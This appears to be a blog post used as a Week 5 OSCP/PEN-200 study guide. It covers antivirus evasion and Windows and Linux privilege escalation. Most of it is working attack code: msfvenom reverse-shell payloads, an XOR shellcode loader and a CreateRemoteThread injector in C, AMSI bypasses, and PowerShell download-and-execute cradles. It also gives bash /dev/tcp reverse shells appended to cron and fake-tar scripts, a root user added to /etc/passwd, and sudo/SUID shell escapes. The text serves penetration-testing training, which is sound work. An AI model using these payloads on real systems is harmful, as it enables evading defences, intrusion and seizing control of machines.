Post

Antivirus Evasion & Privilege Escalation (Part 1)

WEEK 5 Antivirus Evasion & Privilege Escalation (Part 1)

Antivirus Evasion & Privilege Escalation (Part 1)

Week 5: Antivirus Evasion & Privilege Escalation (Part 1)

OSCP / PEN-200 Study Plan — Complete Detail Guide


Overview

Week 5 marks the transition from initial access into post-exploitation. Once a foothold is established, two challenges immediately follow: keeping your payload alive against antivirus software, and moving from a low-privilege shell to full system control. This week addresses both — first by building a solid understanding of how AV solutions detect threats and how to subvert those mechanisms, then by introducing systematic privilege escalation enumeration and the most common attack vectors on both Windows and Linux.

Core Theme: A shell that gets killed by AV is no shell at all. And a low-privilege shell on a hardened system is a dead end. This week bridges the gap between initial access and full control.


Learning Objectives

By the end of Week 5, you should be able to:

  • Explain how antivirus software detects malicious code using signature, heuristic, and behavioral methods
  • Generate and encode payloads with msfvenom to evade signature-based detection
  • Apply in-memory evasion and thread injection concepts to avoid behavioral AV triggers
  • Manually modify shellcode or payload wrappers to defeat static analysis
  • Perform thorough situational awareness enumeration on Windows and Linux after gaining a shell
  • Run and interpret output from WinPEAS, PowerUp.ps1, and LinPEAS
  • Identify and exploit unquoted service paths, weak service permissions, SUID binaries, and cron job misconfigurations
  • Analyze system configurations for privilege escalation opportunities

Part 1: Antivirus Evasion


How Antivirus Detection Works

Understanding what AV is actually doing is the prerequisite for defeating it. Most modern endpoint solutions layer multiple detection methods simultaneously.

The three core detection mechanisms:

Detection MethodHow it WorksWhat it Catches
Signature-basedCompares file bytes or hashes against a database of known malicious patternsKnown malware, unmodified Metasploit payloads, common web shells
Heuristic analysisEvaluates code structure, API call patterns, and behavior against rules for suspicious activityUnknown variants of known malware families, obfuscated code with recognizable patterns
Behavioral analysisMonitors running processes at runtime — memory allocation, API calls, network connectionsIn-memory shellcode, process injection, unusual parent-child process relationships

What this means for your evasion strategy:

  • Signature evasion: modify the bytes of your payload so no known signature matches
  • Heuristic evasion: restructure code so suspicious patterns are not recognizable
  • Behavioral evasion: avoid triggering in-memory alerts — prefer injection over disk writes, avoid suspicious API sequences

Evasion Technique 1 — Encoding with msfvenom

Encoding transforms shellcode byte patterns to avoid signature matches. Note that common encoders like shikata_ga_nai are themselves now signatured — encoding alone is rarely sufficient but remains part of a layered approach.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# List all available encoders
msfvenom --list encoders

# Generate a payload with a single encoding pass
msfvenom -p windows/x64/shell_reverse_tcp \
  LHOST=<your_ip> LPORT=4444 \
  -e x64/xor_dynamic \
  -f exe -o encoded_shell.exe

# Multiple encoding iterations (increases evasion slightly)
msfvenom -p windows/x64/shell_reverse_tcp \
  LHOST=<your_ip> LPORT=4444 \
  -e x64/xor_dynamic -i 10 \
  -f exe -o encoded_10x.exe

# x86 encoder — for 32-bit targets
msfvenom -p windows/shell_reverse_tcp \
  LHOST=<your_ip> LPORT=4444 \
  -e x86/shikata_ga_nai -i 5 \
  -f exe -o encoded_x86.exe

# Generate raw shellcode for manual embedding
msfvenom -p windows/x64/shell_reverse_tcp \
  LHOST=<your_ip> LPORT=4444 \
  -f c -b "\x00" \
  -o shellcode.c

# Output formats useful for evasion
msfvenom -p windows/x64/shell_reverse_tcp \
  LHOST=<your_ip> LPORT=4444 \
  -f powershell    # For PowerShell-based delivery

msfvenom -p windows/x64/shell_reverse_tcp \
  LHOST=<your_ip> LPORT=4444 \
  -f python        # For custom Python wrapper

Evasion Technique 2 — Encryption and Packing

Encryption wraps the payload so its static bytes are unrecognizable until decrypted at runtime. The decryption stub itself must be crafted carefully to avoid heuristic detection.

Concept — XOR encryption wrapper (C example):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include <windows.h>
#include <stdio.h>

// Your msfvenom raw shellcode
unsigned char shellcode[] = "\xfc\x48\x83...";   // paste raw bytes here
int shellcode_len = sizeof(shellcode);

// XOR key — change this value to alter the encrypted bytes
unsigned char key = 0xAA;

// Decrypt at runtime (XOR is symmetric — same function encrypts and decrypts)
void xor_decrypt(unsigned char *data, int len, unsigned char key) {
    for (int i = 0; i < len; i++) {
        data[i] ^= key;
    }
}

int main() {
    // Allocate executable memory
    LPVOID mem = VirtualAlloc(NULL, shellcode_len,
                              MEM_COMMIT | MEM_RESERVE,
                              PAGE_EXECUTE_READWRITE);

    // Copy shellcode into allocated memory
    memcpy(mem, shellcode, shellcode_len);

    // Decrypt in memory before execution
    xor_decrypt((unsigned char *)mem, shellcode_len, key);

    // Execute
    ((void(*)())mem)();

    return 0;
}

Pre-encrypting your shellcode (Python helper):

1
2
3
4
5
6
7
8
9
10
# Encrypt shellcode before embedding — run this on Kali
shellcode = b"\xfc\x48\x83..."   # paste msfvenom raw bytes here
key = 0xAA

encrypted = bytes([b ^ key for b in shellcode])

# Print as C array
print("unsigned char shellcode[] = {", end="")
print(", ".join(f"0x{b:02x}" for b in encrypted), end="")
print("};")

Cross-compile the wrapper:

1
2
x86_64-w64-mingw32-gcc -o payload.exe wrapper.c \
  -mwindows -static

Evasion Technique 3 — In-Memory Evasion

Writing a payload to disk is the most detectable action possible — AV scans files on write. In-memory execution keeps the payload entirely in RAM, bypassing most file-based scanning.

PowerShell in-memory execution:

1
2
3
4
5
6
7
8
9
10
11
# Download and execute in memory — payload never touches disk
IEX (New-Object Net.WebClient).DownloadString('http://<your_ip>/shell.ps1')

# Using Invoke-Expression alias
(New-Object Net.WebClient).DownloadString('http://<your_ip>/shell.ps1') | IEX

# Base64 encoded command (avoids command-line logging of obvious strings)
$cmd = "IEX (New-Object Net.WebClient).DownloadString('http://<your_ip>/shell.ps1')"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd)
$encoded = [Convert]::ToBase64String($bytes)
# Execute with: powershell -enc $encoded

Hosting a payload for in-memory delivery:

1
2
3
4
5
6
7
# On Kali — serve your PowerShell payload
python3 -m http.server 80

# Generate a PowerShell format payload
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=<your_ip> LPORT=4444 \
  -f psh -o shell.ps1

Disabling AMSI (Antimalware Scan Interface) in PowerShell:

1
2
3
4
5
6
7
8
9
10
11
# AMSI hooks PowerShell and scans scripts before execution
# This bypass patches AMSI in memory for the current session

# Method 1 — reflection-based patch
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# Method 2 — obfuscated to avoid the bypass itself being signatured
$a = 'System.Management.Automation.A';$b = 'ms';$c = 'iUtils'
$d = [Ref].Assembly.GetType($a+$b+$c)
$e = $d.GetField('amsiInitFailed','NonPublic,Static')
$e.SetValue($null,$true)

Evasion Technique 4 — Thread Injection

Process injection places shellcode inside a legitimate running process, inheriting its trust level and masking malicious network connections under benign process names (explorer.exe, svchost.exe).

Classic CreateRemoteThread injection (C concept):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include <windows.h>

int main() {
    // Target a legitimate process by PID
    DWORD pid = 1234;   // Get PID of explorer.exe or svchost.exe

    // Open target process with required access
    HANDLE hProcess = OpenProcess(
        PROCESS_ALL_ACCESS, FALSE, pid);

    // Allocate memory in the remote process
    LPVOID remoteMem = VirtualAllocEx(
        hProcess, NULL, sizeof(shellcode),
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE);

    // Write shellcode into the remote process
    WriteProcessMemory(
        hProcess, remoteMem,
        shellcode, sizeof(shellcode), NULL);

    // Create a thread in the remote process to execute shellcode
    HANDLE hThread = CreateRemoteThread(
        hProcess, NULL, 0,
        (LPTHREAD_START_ROUTINE)remoteMem,
        NULL, 0, NULL);

    // Wait and clean up
    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);
    CloseHandle(hProcess);

    return 0;
}

Finding target PIDs for injection:

1
2
3
4
5
6
7
# On the target Windows machine
Get-Process explorer | Select-Object Id, Name
Get-Process svchost | Select-Object Id, Name

# From cmd
tasklist | findstr explorer
tasklist | findstr svchost

Evasion Technique 5 — Manual Code Modification

When a specific payload or tool is signatured, manual modification changes enough bytes to defeat the signature without breaking functionality.

Techniques:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
1. Change variable names and function names in source code
   — Metasploit source is public; AV knows "meterpreter", "payload", "shellcode" as strings

2. Reorder non-dependent code blocks
   — Signatures often match byte sequences at specific offsets

3. Insert junk instructions (NOPs, meaningless assignments)
   — Shifts real code to different offsets

4. Replace common API call sequences
   — VirtualAlloc + WriteProcessMemory + CreateThread is heavily signatured
   — Consider alternative APIs: HeapAlloc, RtlMoveMemory, NtCreateThreadEx

5. Compile with different flags or compiler versions
   — MSVC vs MinGW produce very different binary layouts for the same C code

6. Strip metadata and debug symbols
   strip payload.exe
   x86_64-w64-mingw32-strip payload.exe

Testing evasion without uploading to VirusTotal (avoid sharing signatures):

1
2
3
4
5
6
# Use a local AV test or offline scanner
# Or use: antiscan.me (does not distribute samples)
# Or: nodistribute.com

# Check with Windows Defender on an isolated VM
# Copy payload to Windows VM and observe real-time protection response

Part 2: Windows Privilege Escalation (Introduction)

The goal of privilege escalation on Windows is to move from a standard user account to NT AUTHORITY\SYSTEM or a local Administrator — which gives full control of the machine.


Understanding the Windows Privilege Model

Account LevelCapability
Standard UserLimited — cannot install software, write to system directories, modify services
Local AdministratorCan manage local machine, but UAC may still restrict some actions
NT AUTHORITY\SYSTEMHighest local privilege — full machine control, no UAC restrictions
Domain AdminHighest in an Active Directory domain — controls all domain-joined machines

Access Control Mechanisms to understand:

1
2
3
4
5
6
- ACL (Access Control List): Defines who can read/write/execute a resource
- DACL (Discretionary ACL): Controls access permissions
- SACL (System ACL): Controls auditing
- Token: Every process runs with a security token defining its privileges
- UAC (User Account Control): Prompts for elevation — can sometimes be bypassed
- Integrity Levels: Low, Medium, High, System — processes cannot write to higher-integrity objects

Situational Awareness — Windows

Run these immediately after obtaining a shell to understand your environment.

:: Who are you and what privileges do you hold
whoami
whoami /priv
whoami /groups
whoami /all

:: System information — OS version, patch level, architecture
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"

:: Running processes — look for AV, monitoring tools, interesting services
tasklist
tasklist /SVC
tasklist /v

:: Network information — interfaces, connections, routing
ipconfig /all
netstat -ano
route print

:: Local users and groups
net user
net localgroup
net localgroup Administrators

:: Installed software
wmic product get name,version
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

:: Scheduled tasks
schtasks /query /fo LIST /v
schtasks /query /fo LIST /v | findstr /B /C:"Task Name" /C:"Run As User" /C:"Task To Run"

:: Services
sc query
wmic service get name,startname,pathname,startmode

:: Environment variables (may contain credentials or paths)
set

:: Drives and shares
net share
wmic logicaldisk get caption,description,providername

Automated Enumeration — WinPEAS

WinPEAS is the most comprehensive automated Windows privilege escalation enumeration script. It checks hundreds of vectors and color-codes findings by severity.

Transferring WinPEAS to target:

1
2
3
# On Kali — host it
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASx64.exe
python3 -m http.server 80
1
2
3
4
5
6
7
8
9
10
# On target — download and run
certutil -urlcache -split -f http://<your_ip>/winPEASx64.exe winpeas.exe
.\winpeas.exe

# Or via PowerShell download
(New-Object Net.WebClient).DownloadFile('http://<your_ip>/winPEASx64.exe', 'C:\Temp\winpeas.exe')

# Run and save output
.\winpeas.exe > winpeas_output.txt
type winpeas_output.txt

What to focus on in WinPEAS output:

1
2
3
4
5
6
7
8
9
- Red/yellow highlighted findings — highest priority
- Unquoted service paths
- Modifiable service binaries
- AlwaysInstallElevated registry keys
- Stored credentials (SAM, registry, files)
- Scheduled tasks running as SYSTEM
- DLL hijacking opportunities
- Writable directories in PATH
- Token privileges (SeImpersonatePrivilege, SeAssignPrimaryTokenPrivilege)

Automated Enumeration — PowerUp.ps1

PowerUp focuses specifically on service and configuration misconfigurations — faster and more targeted than WinPEAS for service-based vectors.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Download and import
(New-Object Net.WebClient).DownloadFile('http://<your_ip>/PowerUp.ps1', 'PowerUp.ps1')
Import-Module .\PowerUp.ps1

# Run all checks
Invoke-AllChecks

# Specific checks
Get-UnquotedService              # Unquoted service paths
Get-ModifiableServiceFile        # Writable service binaries
Get-ModifiableService            # Services with weak permissions
Get-ServiceDetail -Name <name>   # Inspect a specific service
Find-PathDLLHijack               # DLL hijack opportunities in PATH
Get-RegistryAlwaysInstallElevated  # AlwaysInstallElevated check

Common Windows Privilege Escalation Vectors


Vector 1 — Unquoted Service Paths

When a service binary path contains spaces and is not quoted, Windows searches for the executable at each space-separated path segment. If you can write to any of those locations, you place a malicious binary there.

1
2
3
4
5
6
7
8
Vulnerable path example:
C:\Program Files\My App\Service\app.exe

Windows searches in order:
C:\Program.exe                  <- can you write here?
C:\Program Files\My.exe         <- can you write here?
C:\Program Files\My App\Service.exe  <- can you write here?
C:\Program Files\My App\Service\app.exe  <- actual binary

Finding unquoted service paths:

wmic service get name,startname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
1
2
3
4
5
6
# PowerUp
Get-UnquotedService

# Manual check
$services = Get-WmiObject -Class Win32_Service
$services | Where-Object {$_.PathName -notmatch '"' -and $_.PathName -match ' '}

Exploiting:

1
2
3
4
5
6
7
8
9
# On Kali — generate a malicious executable with the expected name
msfvenom -p windows/x64/shell_reverse_tcp \
  LHOST=<your_ip> LPORT=4444 \
  -f exe -o Service.exe

# Transfer to the writable path on target
# Restart the service to trigger execution
sc stop VulnerableService
sc start VulnerableService

Vector 2 — Weak Service Permissions

If a low-privilege user has permission to modify a service’s binary path or reconfigure the service entirely, they can point it to a malicious executable.

:: Check permissions on a specific service using sc
sc sdshow <service_name>

:: Use accesschk to check who can configure a service
accesschk.exe -uwcqv "Everyone" *
accesschk.exe -uwcqv "Users" *
accesschk.exe -uwcqv "<your_username>" *
1
2
3
4
5
6
7
8
9
# PowerUp
Get-ModifiableService | Select-Object Name, StartName, ModifiableFile

# Exploit with PowerUp — directly changes service binary path and restarts
Invoke-ServiceAbuse -Name VulnerableService -UserName <user> -Password <pass>

# Manual approach — change service binary to your reverse shell
sc config VulnerableService binpath= "C:\Temp\shell.exe"
sc start VulnerableService

Vector 3 — AlwaysInstallElevated

If two registry keys are both set to 1, any user can install MSI packages with SYSTEM privileges.

:: Check both keys — BOTH must be 1 to be vulnerable
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
1
2
3
4
5
6
7
# Generate a malicious MSI payload
msfvenom -p windows/x64/shell_reverse_tcp \
  LHOST=<your_ip> LPORT=4444 \
  -f msi -o shell.msi

# Transfer to target and install — runs as SYSTEM
msiexec /quiet /qn /i shell.msi

Vector 4 — Scheduled Tasks

Scheduled tasks running as SYSTEM or Administrator that execute writable scripts or binaries.

:: List all tasks with their run-as user and executable
schtasks /query /fo LIST /v | findstr /B /C:"Task Name" /C:"Run As User" /C:"Task To Run"

:: Check permissions on the task's script or binary
icacls "C:\path\to\task\script.bat"
accesschk.exe -quvw "C:\path\to\task\script.bat"
1
2
3
4
5
6
# If you can write to the script the task runs:
# 1. Back up the original script
# 2. Replace with a payload or append a reverse shell command
echo "C:\Temp\shell.exe" >> C:\path\to\task\script.bat
# 3. Wait for the task to run (or force it if permissions allow)
schtasks /run /tn "VulnerableTask"

Vector 5 — DLL Hijacking (Windows Privesc)

Services and applications running as SYSTEM that load DLLs from directories where you have write access.

1
2
3
4
5
6
7
8
9
Approach:
1. Identify a SYSTEM-level service or process that loads DLLs
2. Use Process Monitor (ProcMon) on a test machine:
   - Filter: Process Name = target.exe
   - Filter: Result = NAME NOT FOUND
   - Filter: Path ends with .dll
3. Identify a missing DLL loaded from a writable directory
4. Place a malicious DLL with that exact name in that directory
5. Restart the service
1
2
3
4
5
6
7
8
# Generate the malicious DLL
msfvenom -p windows/x64/shell_reverse_tcp \
  LHOST=<your_ip> LPORT=4444 \
  -f dll -o MissingLibrary.dll

# Transfer and place in writable path
# Restart service
sc stop TargetService && sc start TargetService

Part 3: Linux Privilege Escalation (Introduction)

The goal on Linux is to escalate from a low-privilege user to root. Linux privesc is almost always a matter of finding a misconfiguration, overly permissive file, or poorly written script.


Situational Awareness — Linux

Run these immediately after obtaining a shell.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
# Identity and privileges
whoami
id
groups

# Operating system and kernel version
uname -a
uname -r
cat /etc/os-release
cat /etc/*release*
cat /proc/version

# Running processes — look for processes running as root
ps aux
ps aux | grep root

# Network
ifconfig -a
ip addr
netstat -tulpn
ss -tulpn
cat /etc/hosts
cat /etc/resolv.conf

# Logged-in users
who
w
last

# Sudo permissions — critical: what can you run as root without a password
sudo -l

# Environment variables — may contain credentials or interesting paths
env
cat /proc/self/environ

# Installed packages — look for vulnerable versions
dpkg -l          # Debian/Ubuntu
rpm -qa          # CentOS/RHEL

# Cron jobs
crontab -l
cat /etc/crontab
cat /etc/cron.d/*
ls -la /etc/cron.*
cat /var/spool/cron/crontabs/*

# SUID/SGID binaries — files that run as their owner regardless of who executes them
find / -perm -4000 -type f 2>/dev/null    # SUID
find / -perm -2000 -type f 2>/dev/null    # SGID
find / -perm -6000 -type f 2>/dev/null    # Both

# World-writable files and directories
find / -writable -type d 2>/dev/null
find / -writable -type f 2>/dev/null | grep -v proc

# Files with capabilities set
getcap -r / 2>/dev/null

# Recently modified files
find / -mmin -10 2>/dev/null | grep -v proc
find / -newer /tmp -type f 2>/dev/null

# Configuration files — may contain credentials
cat /etc/passwd
cat /etc/shadow      # Requires elevated access — note if readable
cat /etc/sudoers
find / -name "*.conf" 2>/dev/null
find / -name "*.config" 2>/dev/null
find / -name "wp-config.php" 2>/dev/null
find / -name "config.php" 2>/dev/null

Automated Enumeration — LinPEAS

LinPEAS is the Linux equivalent of WinPEAS — a comprehensive script that enumerates hundreds of privilege escalation vectors and color-codes results by severity.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# On Kali — host LinPEAS
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
python3 -m http.server 80

# On target — download and run
curl http://<your_ip>/linpeas.sh | sh

# Or download first, then run
wget http://<your_ip>/linpeas.sh -O /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh
/tmp/linpeas.sh

# Save output
/tmp/linpeas.sh | tee /tmp/linpeas_output.txt

# Run without color codes (for cleaner reading)
/tmp/linpeas.sh -a 2>/dev/null | tee /tmp/linpeas_output.txt

What to focus on in LinPEAS output:

1
2
3
4
5
6
7
8
9
- Red/yellow highlighted lines — highest confidence findings
- Sudo -l results — any NOPASSWD entries
- SUID binaries not in a default install
- Writable cron scripts running as root
- PATH hijacking opportunities
- Writable /etc/passwd
- Running processes owned by root using writable scripts
- Tokens and credentials found in files
- Kernel version — check against kernel exploit suggester

Automated Enumeration — Linux Exploit Suggester

1
2
3
4
5
6
7
8
9
# Download on Kali
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh

# Transfer and run on target
chmod +x les.sh
./les.sh

# Feed in uname output if running from another machine
./les.sh --uname "Linux target 4.15.0-45-generic #48-Ubuntu SMP"

Common Linux Privilege Escalation Vectors


Vector 1 — SUID/SGID Binaries

SUID binaries run as their owner (often root) regardless of who executes them. If a SUID binary can be abused to run arbitrary commands, those commands run as root.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# Find all SUID binaries
find / -perm -4000 -type f 2>/dev/null

# Cross-reference against GTFOBins — the definitive SUID abuse reference
# https://gtfobins.github.io/
# Search for the binary name and select "SUID"

# Common abusable SUID binaries and their GTFOBins payloads:

# bash (if SUID set — non-default but seen in labs)
bash -p      # Drops to root shell preserving SUID

# find
find . -exec /bin/sh -p \; -quit

# vim / vi
vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'

# python
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

# nmap (older versions)
nmap --interactive
nmap> !sh

# cp (if SUID — can overwrite /etc/passwd or /etc/shadow)
cp /etc/passwd /tmp/passwd_backup
echo "hacker::0:0:root:/root:/bin/bash" >> /etc/passwd
su hacker

Vector 2 — Sudo Misconfigurations

sudo -l is the first thing to check. Any command a user can run as root without a password is a potential escalation path.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# Check sudo permissions
sudo -l

# Common misconfigurations and GTFOBins payloads:

# (root) NOPASSWD: /usr/bin/python3
sudo python3 -c 'import os; os.system("/bin/bash")'

# (root) NOPASSWD: /usr/bin/vim
sudo vim -c ':!/bin/bash'

# (root) NOPASSWD: /usr/bin/find
sudo find / -exec /bin/bash \; -quit

# (root) NOPASSWD: /usr/bin/less
sudo less /etc/passwd
!/bin/bash

# (root) NOPASSWD: /usr/bin/awk
sudo awk 'BEGIN {system("/bin/bash")}'

# (root) NOPASSWD: /bin/cp
# Overwrite /etc/sudoers or /etc/passwd

# Wildcard abuse — if sudo entry uses * in a path
# (root) NOPASSWD: /usr/bin/rsync * /backup/
# Inject --rsh option: sudo rsync -e 'sh -c "sh 0<&2 1>&2"' x x

Vector 3 — Writable Cron Jobs

If a script executed by root’s cron job is writable by your user, you can inject a reverse shell that runs as root on the next cron cycle.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Find cron jobs running as root
cat /etc/crontab
cat /etc/cron.d/*
crontab -l -u root 2>/dev/null

# Check permissions on the scripts they call
ls -la /path/to/cron/script.sh
stat /path/to/cron/script.sh

# If writable — append a reverse shell
echo "bash -i >& /dev/tcp/<your_ip>/4444 0>&1" >> /path/to/cron/script.sh

# Set up listener and wait for cron to fire
nc -lvnp 4444

# Alternative — if the script directory is writable (not just the script)
# Create a new script with the same name after deleting the original

Vector 4 — Writable /etc/passwd

Historically, passwords were stored in /etc/passwd. Modern systems use /etc/shadow, but if /etc/passwd is writable, you can add a root-level user with a known password hash.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# Check if /etc/passwd is writable
ls -la /etc/passwd
stat /etc/passwd

# If writable — generate a password hash
openssl passwd -1 -salt salt123 password123
# Outputs: $1$salt123$...

# Add a new root user entry
echo 'hacker:$1$salt123$<hash>:0:0:root:/root:/bin/bash' >> /etc/passwd

# Switch to new user
su hacker
# Password: password123

# Verify
whoami   # should return root
id

Vector 5 — PATH Hijacking via Sudo

If a sudo entry runs a script that calls system binaries without full paths, and you control a directory earlier in the PATH, you can intercept those calls.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Example — sudo entry allows running /opt/backup.sh as root
# backup.sh contains: tar czf /tmp/backup.tgz /home/

# Check if backup.sh uses relative paths for binaries
cat /opt/backup.sh    # Shows "tar" not "/usr/bin/tar"

# Create a malicious "tar" in a directory you control
echo "#!/bin/bash" > /tmp/tar
echo "bash -i >& /dev/tcp/<your_ip>/4444 0>&1" >> /tmp/tar
chmod +x /tmp/tar

# Prepend your directory to PATH
export PATH=/tmp:$PATH

# Run the sudo command — your fake tar gets executed as root
sudo /opt/backup.sh

Practice Resources

OffSec PEN-200 Labs (Required)

ModuleFocus Area
Antivirus Evasionmsfvenom encoding, in-memory execution, manual modification
Windows Privilege Escalation (initial)Situational awareness, WinPEAS, service misconfigs
Linux Privilege Escalation (initial)Situational awareness, LinPEAS, SUID and sudo abuse

Proving Ground Practice Labs

MachineOSPrimary Technique
morboLinuxSUID abuse or sudo misconfiguration
NibblesLinuxService misconfiguration, privesc via writable path
billybossWindowsService-based privilege escalation
escapeWindowsToken impersonation or service abuse

For each lab: get a low-privilege shell first, run manual situational awareness commands before automated tools, then verify findings manually before exploiting.


Hack The Box and TryHackMe

PlatformRecommended Machines / Rooms
TryHackMe“Linux PrivEsc”, “Windows PrivEsc”, “Steel Mountain”, “Alfred”
Hack The BoxMachines tagged “privesc” — filter by easy/medium difficulty

External References

ResourcePurpose
gtfobins.github.ioSUID, sudo, and capability abuse payloads
lolbas-project.github.ioWindows Living Off the Land binary abuse
github.com/carlospolop/PEASS-ngWinPEAS and LinPEAS source and releases
github.com/PowerShellMafia/PowerSploitPowerUp.ps1 and PowerSploit suite
github.com/mzet-/linux-exploit-suggesterKernel exploit matching

Suggested Daily Schedule (7-Day Breakdown)

DayFocusHours
Day 1AV detection methods + msfvenom encoding and encryption wrappers3-4 hrs
Day 2In-memory evasion, AMSI bypass, thread injection concepts + compile and test4-5 hrs
Day 3Windows situational awareness + WinPEAS + PowerUp.ps1 on a lab target4-5 hrs
Day 4Windows privesc vectors — unquoted paths, weak services, AlwaysInstallElevated4-5 hrs
Day 5Linux situational awareness + LinPEAS + SUID and sudo abuse4-5 hrs
Day 6Linux privesc vectors — cron jobs, writable passwd, PATH hijacking3-4 hrs
Day 7Proving Ground labs: morbo, Nibbles, billyboss, escape5-6 hrs

Week 5 Checklist

Antivirus Evasion

  • Generated an encoded payload with msfvenom and tested against a lab AV
  • Written and compiled an XOR encryption wrapper in C
  • Delivered a PowerShell payload entirely in-memory — nothing written to disk
  • Applied an AMSI bypass in a PowerShell session
  • Understood the CreateRemoteThread injection model at a conceptual and code level
  • Tested a manually modified payload and confirmed it behaves differently from the original

Windows Privilege Escalation

  • Ran the full situational awareness command sequence after obtaining a shell
  • Transferred and executed WinPEAS — reviewed and prioritised output
  • Ran PowerUp.ps1 and identified at least one exploitable misconfiguration
  • Exploited an unquoted service path to SYSTEM
  • Exploited a weak service permission to SYSTEM
  • Confirmed and exploited AlwaysInstallElevated on a lab target
  • Identified a scheduled task running a writable script

Linux Privilege Escalation

  • Ran the full situational awareness command sequence on a Linux shell
  • Transferred and executed LinPEAS — reviewed and prioritised output
  • Found and abused a non-default SUID binary via GTFOBins
  • Exploited a sudo NOPASSWD misconfiguration to root
  • Found and modified a writable cron script to gain a root shell
  • Added a root user via writable /etc/passwd

Labs

  • Completed morbo (Proving Ground)
  • Completed Nibbles (Proving Ground)
  • Completed billyboss (Proving Ground)
  • Completed escape (Proving Ground)

Key Takeaways

  1. AV evasion is a layered problem — no single technique works universally; combine encoding, encryption, and in-memory execution.
  2. Writing a payload to disk is the highest-risk action you can take — default to in-memory delivery wherever possible.
  3. On Windows, run whoami /priv immediately — SeImpersonatePrivilege alone is often enough for SYSTEM.
  4. On Linux, sudo -l is the first command after getting a shell — it is the most frequently overlooked escalation path in labs.
  5. Automated tools find things fast but miss context — always verify a finding manually before spending time exploiting it.
  6. GTFOBins and LOLBAS are not optional references — memorise the most common entries for bash, python, find, vim, and nc.
  7. Cron jobs and services are the two most common Linux and Windows privesc paths respectively in OSCP labs.

_Plan prepared for OSCP / PEN-200 Week 5Antivirus Evasion → Windows Privilege Escalation → Linux Privilege Escalation_

You can find me online at:

My signature image

This post is licensed under CC BY 4.0 by the author.